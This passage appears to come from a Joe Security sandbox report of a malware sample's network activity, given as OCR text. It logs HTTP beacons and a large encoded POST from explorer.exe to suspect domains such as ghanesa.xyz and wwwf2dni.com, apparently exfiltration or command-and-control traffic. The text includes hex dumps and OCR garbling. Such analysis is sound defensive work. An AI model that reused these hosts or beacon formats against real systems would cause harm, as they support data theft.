50 72 74 6b 44 61 73 4b 57 59 4c 48 30 64 46 33 74 31 51 5f 45 6f 54 61 31 42 78 72 4e 4b 37 4f 6e 55 42 50 7e 41 52
48 6¢ 30 6b 4e 36 33 39 6¢ 63 35 68 61 65 33 47 4d 75 65 32 5f 6e 6a 54 7a 54 47 77 74 43 62 30 54 65 65 72 6¢ 7a 76
75 6¢ 71 36 4a 31 7a 58 31 4e 71 30 6f 55 78 67 4f 4b 5a 44 34 73 33 30 68 6¢ 34 61 42 51 31 59 6d 59 45 33 67 77 30
39 59 37 36 64 55 42 57 6f 6f 30 39 6¢ 66 31 42 5a 42 31 77 6d 79 39 31 2d 5a 64 55 6¢ 4¢ 4b 67 39 50 46 30 63 4e 74
68 72 79 70 71 65 58 6a 31 65 69 33 6d 73 73 69 46 33 6a 52 68 54 4a 4e 72 4f 30 38 61 69 4b 7a 65 38 50 44
Data Ascii: m4bd=TLMellhEtscc(6thYoeaq6q9eP12jtWbp8HRmMAH(Xli~4zl~cGdBdIWsTeHK1dgHEIKkStwf
DGWId~OmFLeoouiEDEiikDOKnLbiOOESdquIGV~kDr3DTdR1KfeSADHvOEBdchClMU6ADITQJsdEROkSerCPquKZf
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kBytes i i VKkRg4Fqxe(ZV711jUFvDL65CbYtFFURd5bOaQLZabGnIWIWN3UBwW872vs(G9-3AapfAvhhglyjWwnQniS9TmPuftNOn

ancrerred Diection BABhCSE6WIOMDQ828CRY c8UIHIHSZ3VIIEI(91e07GT~49vA_EeWGT|9TIkrf0J10SjwLgK3Pqr~A4SOzCUbKDPI-W
HI6upDs1GN5MmeJAyzjhnfuw91U4xtjfiBLephYFwfbbcYsNG4ni50Dc6yVIkfv6Zvny5Gd6kx0EO(ayvWOgHANTID
Q8FMvwgfEkzCyi-MN3cF0YVqZDsLc6iY8x9H2dilVGkqtUlovRuOBbpQy5CaTWyNwFXtLNQ6pBgpxJTjV8zTelW7zm
msYbcOrGmDfNpfKKRRzNc2e~cFdrgR3flp40c4crtkgxHgHrNhcE3v6Q3eul6eNncIJR~u2AtFQh5289dWEaakhR13(
gNDbUzSWMZOT3b9s-kF6fuZWSTMKUIY JfXkZrq7Ddte INNG5rLdm3rdCAblu4tDMWPNIOWkKImMz9Y SsYarlfhYXQcie6
s(7QDVdTHTe65kmX9~LwyC5Gz8PFnbWI0jpdal_yKgwdPFuuCao4ZbJM408(kHEhtPCBIzmBAcMaVBamNga4VW8cRa
0Od9UmkSeZgYU9XyrSvbTO8j5MOqcz7JPy20bo9mubya4Egl4rdXerOjFnyXo_aFuox7dyV-O1KRJu7dSch1HRZ1yKy
X12XgSuoE8jNXT_2BrwvYolHp5HCkzKG-P3Q2VxxnW663r9dpzprs5bgvdXn(Jfi(7JmRId7hNKs2N1nM9e-~nD7FCy
aYGquud2xls(u2_TUMOafgKppreziq9wJsNxjwyTsi6R56a2i8onHMIcQwVNsFf2aiNTc8g10gSreb901Dpmf7zQ34
hHVZuTCXb5iHSSRMH920UgXNTy60B8VcYnTdoJIGOWGMESIAM6EVg2V6eg-yTCHToSazXXGH3aDYw1Tr6foGIrlVkjéh
QWiglfgTFiXpZPrtkDasKWYLHOdF3t1Q_EoTalBxrNK7OnUBP~ARHIOkN639Ic5hae3GMue2_njTzTGwtChOTeerlz
vulg6J1zX1Ng0oUxgOKZD4s30hl4aBQ1YmYE3gw09Y76dUBWo0009If1BZB1wmy91-ZdUILKg9PFOcNthrypgeXjlei
3mssiF3jRhTINrO08aikze8PD5b6leRSgINR_yKLVdNMJIDgzG2bBUwDMv~ysDyHvYzuFB060W3vZg5S7syhiOAXKcD
TczKRtsWeU_zU4WY S765Z5DFPkpdggayclF26o0uReB6KGELLBY Fz1GaeFI2KsOGuOHQcuA6MpVg3PRnlaoYCQHdYnJ
c(04KvQeOMFoJIMIKTSj-7YnE1bZdtv~8y53Hgha_CjMIhmZeBU(terQvchDDmnpy309tFelL DyH33JngfDzuD97TdU
QadvOZgabjknyEOAfOboxtcfMoE3iwlI565NBKrBXj19JWnosUOyFsPOdZVdXn7h8Aqul8RkCec1MJIpy7hPbEzscUWx
5DzLCG6C24BFjSM7Xm57b7Rxxv7kmX_Rb7ImcBi~vz2Zvoz7h~MICbFI72zO6iNUVPy4AEmMQZY 1neOS-E-bpow790Sr
HEQ2elgFqgfLh2Su7Wkatsp2JVOsHWxilFMEwYkgl4xgkrtW1tDxKKTFwOgULKI9fS5duHiYDH8jI5Ba4HvocgU50u8
EFJGShQwFIV6d415cQLR-UBE4XulRGnzkurMuReAONOAZf-OuTCf1RkePABaij1WWcl915W4GkJIFrx339a8LNxAq3h
MC4kGIvfyVDgJB9LczF3IIC4L9qi94JofNBevp-v614d9a-2KdriX5KGKsnFtdjxZDgHEK9WZ7laH9dA3i4wctdwLm
119PPOCXvfs41luU~et5mXc6Age681MMjpRtBhpYoUTMpRE6WF357BJg6qInTJtuiuKtIXMtwQx8dI2AMQyykj2sHc8
FOSA7hzPghFSzdB1k3eZU1VOeg7mdUBO9tyVaNB~NEKk(NBmIrL1KNctO3EBGWwwAX2vo8f76496zTPY11BS(I(qYPf
WH2mj21Y0JeT53h5jzZrDjH29mzGvwX18PxkriBflvplSy5HJgyxqe29PzqfoLek6Xoafokp4 T9iXOoU5rBlyjmp2x
g5SCb20N-SVhdEVLLZvSFBdn8uDJiMxQ6p4drkGstUL1Ea8KWXk~A27cyj8HN3eXzIVeXKM2yDQVIKAXVF2iY 7THWFW
mi7X1nfN5pLLrcOuvV(XmMRPDOIhTZ50M7rDtDoXoqMjVZNiB_A9gAhCzD7RNXWGkI79abHychgk00c-HEGe48QU7Qs
H90TzzporGI5INZgMQ_M4BJIwKbmcEAoDP~j5190T8g-3F8jg8MSH02mDIcMGilzyVxgsDOWrgBOnvt9qWuoAOK781D
Lknmaa9gsgxuHAXxUqwRgCOzIGxgN0ZevGIS5wT2jJhRekIJK2Hc6GUXBT2YVcIKOMOAMBmMuBL1aAgfWE~vFIch1Otot
7ZU1dG6Q5x5RNemVXG2aiiG1tC4Jj632xA0e7LUIc2nMb7nYPtXCHqLgfAAYPjOEXVBAXftuD6latnDfNgHIL5AMra
6lv00wLsmLaP1GaQOqgHs2le8MnPXsApKwyDvj77A0SfOdKJa5KO0J30Gpf3104j8WV6hSD5CFOgpEK2wcUNN9oqvh8
VsuKziOYOU8dnlIfNssbvht46wRKjdcrOoWHYDQN~75CE8etjBMRVGC7Q5(apgkrKDIYgs8V9jGM6ENOOz~jD4ytAL3
3ACTJICPb3mn7M70udoFmhScn5bDhLeTw-zx86Pf3Mf5JnzToDpymVIgcipMC8UFHTtk8amyHKrp7Zach-BAFK5AY Sg
V(jbOEGrKIDIJ(cj4PZsIvLgsINNANsOuYoGXpLHNC(S1qgpjlpIXZAuyCCOAOaYDFr6i~5GSINES2PtoVpyELcexd
9Inw3uYkW6zU87b-RSYpGJlhJDoC70e2h07FwLyCC5Rm3xmrISNhcUVA(VL8~DhxZ TflywbpKNkeDFJFOLKQDSM1RIO
RiIMSyMVBWbQpnURa3tS1jBUhOIQo_bOUQoSPnzpa7(bLe9NzBgulA1r17LRRVALV1xm6k5Ghc7Aj-phCthBX6450t)
8TbHNwM3LjGB-~VSm5QwY5BpbSRcGH2aly-R17¢Q2sU7CTJC10Uq5SLfsntCOk8PZdhjZp3PF~UXU5mq
J80gQVDmMC44tqK6kJd2sj26ZER5UBMYEShNEGe1QzeWf826hn40aX7q5zLLS75aQhI3tTC3ntYzIv8L9umvgPo3N2T
rqFsCkhudv1QobviS27Wv~6S_LRQ_0U357bhykaxAZvWZhJICFcJTAI7fYpG93sYACcm(UIdjIR-gezz8DK_F446w7v
57KNXWHYAJSK7lyh4rzZL BFxpBK(0h_jCZTAf(IWMHhAOSTXIoTZb64UtqClxeyvXLsh1URIOlu6a2C2beB3WRgjpo
1HDdKtrfTLohlrkr_bcEkWquXFekZXHOUchoWOFo6YKvCqycCNindQYxkN_W_FZGLr_XcQGvwuKR5~G7m59ZMt8zawW
0OYn~ZdzcVQ4e3cNUIweD7Ykl-ay2Wd8VSxGbTNtGRMVV6(xkkcrEH1uFpOhXHV2Vio_ieVaZpQ2T80RNDmMY TywyV2k
tICKrougl6 EV9(XvNaXTQ4TVbhCIKgKMBg4YorgOn-UYdQ14VO71ImdfKOVM5dKRJIBY SUEfSe3yVJuQcFA3ukOVATKS
gKT5nhyeMRHV5P_10dIDwSboS6fmk4UNeLSCJIrUl-n_sAfyMzECLNKLb_nIDsVVTXWJtsjKoXkTNB8NuMKYMICcg6a
rhvahuC2-4urW5aJcGaiBBaFE1ui_THgaFjBpNKKTpXWKUhW14VToEN3K7

Timestamp

Aug 8, 2022 2209 IN HTTP/1.1 301 Moved Permanently

17:46:28.639810085 Connection: close

CEST content-type: text/html
content-length: 707
date: Mon, 08 Aug 2022 15:46:28 GMT
server: LiteSpeed
location: https://www.ghanesa.xyz/tuid/
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6€ 65 6 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa
Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">
<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.11.20 49757 66.29.155.228 80 C:\Windows\explorer.exe
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Timestamp

Aug 8, 2022
17:44:34.886375904
CEST

Aug 8, 2022
17:44:35.105171919
CEST

Session ID

30

Timestamp

Aug 8, 2022
17:46:28.631726027
CEST

Aug 8, 2022
17:46:28.794621944
CEST

Session ID

31

kBytes

transferred Direction

488 ouT

489 IN
Source IP Source Port

192.168.11.20 49797

kB!

DS Direction
transferred
2208 ouT
2219 IN

Source IP Source Port

192.168.11.20 49801

Copyright Joe Security LLC 2022

Destination IP

103.150.61.226 80

Destination IP

154.80.183.133 80

Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=uDgjMCOTPYTc8b3BnUYVD5r+dOFleilgQYFlghS/310xMeb2xRi82
/WbnXFAxC3dxs30 HTTP/1.1

Host: www.linuxizes.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Mon, 08 Aug 2022 15:44:34 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 3239 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6¢ 69 6e
75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.linuxizes.com Port 80</address></body></htm|>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?m4bd=cJ4k7DdOtY QngKRIFYz9xfmhcqgtlvpGa85+jixf523tiwbXsspzXRN0201TtG1NgJ3tW&8pB=3fY8ljB8rp-H
HTTP/1.1

Host: www.ghanesa.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Connection: close

content-type: text/html

content-length: 707

date: Mon, 08 Aug 2022 15:46:28 GMT

server: LiteSpeed

location: https://www.ghanesa.xyz/tuid/?m4bd=cJ4k7DdOtY QngKRIFYz9xfmhcqtlvpGa85+jixf523tlwbXsspzXRNO
201TtG1NgJ3tW&8pB=3fY8|jB8rp-H

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f
6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70
78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa
3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6€ 65 6e
74 6¢ 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150pXx; line-height:150pXx; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Destination Port Process

C:\Windows\explorer.exe
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kBytes

Timestamp e Direction
Aug 8, 2022 2316 ouT
17:46:39.646466970

CEST

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1
Host: www.wwwf2dni.com
Connection: close
Content-Length: 174830
Cache-Control: no-cache
Origin: http://www.wwwf2dni.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.wwwf2dni.com/tuid/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 6d 34 62 64 3d 49 4b 36 38 30 57 62 55 70 50 51 42 35 63 70 44 6d 75 28 6¢ 72 78 55 61 41 5a 66 54 55 32
41 70 30 4b 76 5a 75 69 4d 56 4d 48 37 47 49 63 6a 6b 7a 42 62 62 4f 35 6a 38 44 6b 4d 71 43 32 65 50 73 44 51 63 37
36 71 36 55 53 65 4b 6a 61 56 54 53 34 35 38 35 39 68 74 42 65 6d 33 46 34 6f 71 30 76 70 6¢ 6b 50 7e 4c 55 63 6d 65 3
2384b 42337279 6856 4e 4b 70 6d 47 73 43 63 46 33 2d 4c 79 65 58 4e 61 28 77 55 6b 66 59 56 65 66 64 79 71 7e
6c 65 73 52 58 68 6a 36 77 46 57 4b 34 46 52 36 4a 4c 56 56 55 7e 73 36 4c 53 39 47 6d 4d 73 32 44 6a 70 33 63 4a 72
48 42 65 72 59 71 62 57 39 55 64 6e 28 2d 4c 45 49 37 6e 43 38 71 56 31 6b 30 7e 38 45 32 4b 73 70 55 73 7a 69 37 75
6c 42 48 4f 47 55 33 34 74 54 35 44 45 57 46 55 37 71 52 71 33 52 34 58 7a 4c 56 52 69 75 73 59 33 36 73 42 74 6¢ 32
Af 47 53 72 45 38 53 69 65 66 64 39 65 76 63 37 6a 63 58 46 77 75 77 67 37 4c 56 44 49 53 48 4b 4d 4a 69 59 74 47 4Ac
4f 4b 6b 55 41 65 59 50 67 39 50 64 43 6¢ 68 47 77 41 6b 65 74 43 6¢ 6e 37 6e 33 35 2d 44 79 30 76 30 52 58 6¢ 79 73
334b 7253 44 72 35 57 56 59 42 6b 33 39 41 43 61 51 51 75 6¢ 66 5a 62 45 54 44 6b 33 5f 59 44 47 49 52 6e 74 61 30
61 4d 56 56 41 4c 53 42 56 54 4b 4b 35 48 5a 4a 34 28 34 76 62 71 76 77 36 54 4d 71 2d 51 6b 65 65 28 32 68 77 58 49
313957 75 56 62 45 70 4c 2d 6e 58 78 6¢ 70 66 36 5f 45 45 66 6d 39 51 73 4b 4b 35 7a 67 79 63 43 39 44 39 50 54 4a
4d 6d 6a 71 4c 7a 66 7e 4a 70 64 6a 32 46 31 39 4d 77 76 34 4b 6e 31 62 65 39 43 28 4e 39 73 75 36 45 6a 65 5a 79 55
6b 67 6a 45 32 33 6e 6a 36 56 45 47 45 42 4a 4c 76 44 58 69 4b 78 47 43 58 42 31 37 34 50 75 63 67 4d 33 50 7a 30 4e
4c 72 41 74 33 69 68 50 66 45 5a 4e 78 70 56 61 54 63 38 32 2d 78 65 76 2d 59 59 68 5a 50 65 6e 37 63 48 6e 6e 6e 62
43 74 35 7a 56 38 48 63 6f 48 69 38 75 6d 64 6f 65 68 51 5f 4c 44 6d 55 76 6b 65 7a 6a 76 38 75 4a 71 5a 78 39 69 67
51 327848614259 74 2d 44 41 73 4e 6b 77 53 56 63 71 28 6d 38 4f 6a 77 56 6f 75 7a 68 73 79 41 75 54 67 4e 6d 74
53 68 74 6d 66 71 45 69 50 31 4c 79 4a 4a 7e 5f 4f 4d 72 77 61 50 7e 4d 59 48 46 44 62 34 4e 5f 7a 35 46 70 59 79 47
6b 37 43 42 56 55 5a 70 46 35 37 6d 44 52 2d 6b 4d 76 4a 74 5a 4e 76 70 52 52 5f 6f 33 5a 4c 4e 5a 7e 78 39 68 52 69
58 45 6¢ 59 28 71 68 38 5a 77 6¢ 62 53 4b 66 68 65 54 58 4d 73 34 38 4d 70 78 4b 45 4e 52 61 77 46 75 4b 6e 53 6e 52
4f 6e 63 77 6d 6d 37 4b 66 55 31 54 61 4b 42 7a 35 42 6a 43 46 67 37 4e 6¢ 45 69 65 75 79 6f 61 54 7e 43 74 53 70 6d
4c 68 77 4a 38 4d 7e 52 52 74 59 69 4c 68 54 71 62 61 54 51 69 36 4c 6b 34 6a 35 36 6e 56 63 52 6e 4e 70 4b 32 6d 4d
3568 76 47 61 36 59 44 37 37 36 4b 58 34 45 6a 70 4e 53 5a 46 55 2d 7a 71 4e 43 78 44 47 6¢ 39 73 38 6d 6d 39 63 65
7349745944 77 50 49 30 36 5a 42 58 37 57 79 75 2d 73 6d 42 35 61 34 75 41 51 61 56 5a 47 68 7e 64 56 4a 75 68 30
7179 31 35 4c 70 43 4a 43 37 54 48 31 65 38 4b 44 65 64 4e 33 6f 79 72 6a 77 68 4d 73 58 65 6f 59 64 58 77 44 35 54
62 54 67 36 4e 67 38 36 45 4d 7a 53 46 50 35 33 34 61 70 7a 67 6a 28 6¢ 45 41 69 56 6¢ 58 7e 76 4a 45 4d 44 59 4b 4b
4e 63 50 62 64 33 70 65 48 68 6e 42 59 61 45 65 4c 6f 64 74 58 59 69 6b 64 52 44 54 50 72 4c 7a 38 4b 30 55 74 7e 31
55 4c¢ 79 6¢ 50 47 44 37 67 61 48 42 45 56 39 4b 74 6f 35 69 78 56 67 7a 76 69 78 66 79 73 28 50 4a 62 6f 57 30 62 4c
4b 67 52 69 65 64 54 72 2d 32 4c 78 6d 38 4c 33 48 7e 69 66 72 72 47 69 6d 55 58 57 53 45 71 44 46 6b 6e 55 36 34 32
58 42 75 4f 33 30 58 5f 6a 78 65 74 58 79 47 35 7e 57 72 44 6a 45 65 56 56 55 34 6f 43 6f 4e 42 5a 51 43 72 36 75 34 35
77 2d 53 74 46 57 66 4a 6f 69 74 4b 76 42 78 70 43 51 59 72 79 6e 30 79 76 5a 45 5a 78 50 4e 36 39 54 59 49 34 52 4d
7369 42 64 47 45 61 48 37 65 6f 47 6d 45 66 57 74 6b 4f 51 6a 28 6¢ 7a 61 43 78 41 79 48 53 78 33 37 4f 35 68 65 45
49 6a 71 79 6d 5f 78 33 49 43 63 43 62 76 77 58 50 4f 50 71 42 72 61 50 59 69 39 4e 4d 57 42 63 35 36 61 66 76 39 6f
68 4c 4c 47 5f 43 76 48 42 41 55 77 38 30 45 6¢ 46 69 5f 4e 78 42 58 50 45 72 36 43 36 49 6e 30 54 52 4b 66 33 30 57 7
12d 57 74 4c 61 7e 50 6e 53 66 69 39 4f 65 2d 70 79 4d 63 54 64 39 64 28 78 38 34 44 39 68 69 70 36 45 4f 4576 74 74
Data Ascii: m4bd=IK680WbUpPQB5cpDmu(IrxUaAZfTU2ApO0KvZuiMVMH7GlcjkzBbbO5j8DkMqC2ePsDQc76q6U
SeKjaVTS45859htBem3F40q0vplkP~LUcme28KJ3ryhVNKpmGsCcF3-LyeXNa(wUkfY Vefdyq~lesZXhjewFWK4FR6
JLVVU~s6LS9GmMMs2Djp3cIrHBerYgbW9oUdn(-LEI7nC8qV1k0~8E2KspUszi7ulBHOGU34tTSDEWFU7qRq3R4XzLVR
iusY36sBtl20GSrE8Siefd9evc7jcX Fwuwg7LVDISHKMJiYtGLOKKUAeYPg9PdCIhGwAketCIn7n35-Dy0vORXlys3
KrSDr5sWVYBk39ACaQQulfZbETDk3_YDGIRnta0aMVVALSBVTKK5HZJ4(4vbgqvw6 TMg-Qkee(2hwXI119WuVbEpL-nXx
Ipf6_EEfm9QsKK5zgycCIDIPTIMmjqLzf~Ipdj2F19Mwv4Kn1be9C(NIsuEjeZyUkgjE23nj6VEGEBJLVDXIKXGCX
B174PucgM3PzONLrAt3ihPfEZNxpVaTc82-xev-YYhZPen7cHnnnbCt5zV8HcoHi8umdoehQ_LDmUvkezjv8uJqzZx9
igQ2xHaBYt-DAsNkwSVcq(m8Ojw\VouzhsyAuTgNmtShtmfgEiP1LyJJ~_OMrwaP~MYHFDb4N_z5FpYyGk7CBVUZpF5S
7mDR-kMvJtZNVpRR_03ZLNZ~Xx9hRiXEIY(gh8ZwlbSKfhe TXMs48MpxKENRawFuKnSnROncwmm7KfU1TaKBz5BjCFg
7NIEieuyoaT~CtSpmLhwJ8M~RRtYiLhTgbaTQi6Lk4j56nVcRNNpK2mM5hvGa6YD776KX4EjpNSZFU-zqgNCxDGI9s8
mm9cesltYDwPI06ZBX7Wyu-smB5a4uAQaVZGh~dVJuh0qy15LpCJIC7TH1e8KDedN3oyrjwhMsXeoYdXwD5TbTg6Ng8
6EMzSFP534apzgj(IEAIVIX~VJEMDYKKNcPbd3peHhnBYaEeLodtXYikdRDTPrLz8KOUt~1ULyIPGD7gaHBEVIKto5
ixVgzvixfys(PIJboWObLKgRiedTr-2Lxm8L3H~ifrrGImUXWSEgDFknU642XBuO30X_jxetXyG5~WrDjEeVVU40CoN
BZQCr6u45w-StFWfJoitkvBxpCQYrynOyvZEZXPN69TYI4RMsiBdGEaH7eoGmEfWtkOQj(IzaCxAyHSx3705heEljq
ym_x3ICcCbhvwXPOPgBraPYi9NMWBc56afv9ohLLG_CvHBAUWSOEIFi_NxBXPEr6C6In0TRKf30Wq-WtLa~PnSfi90e-
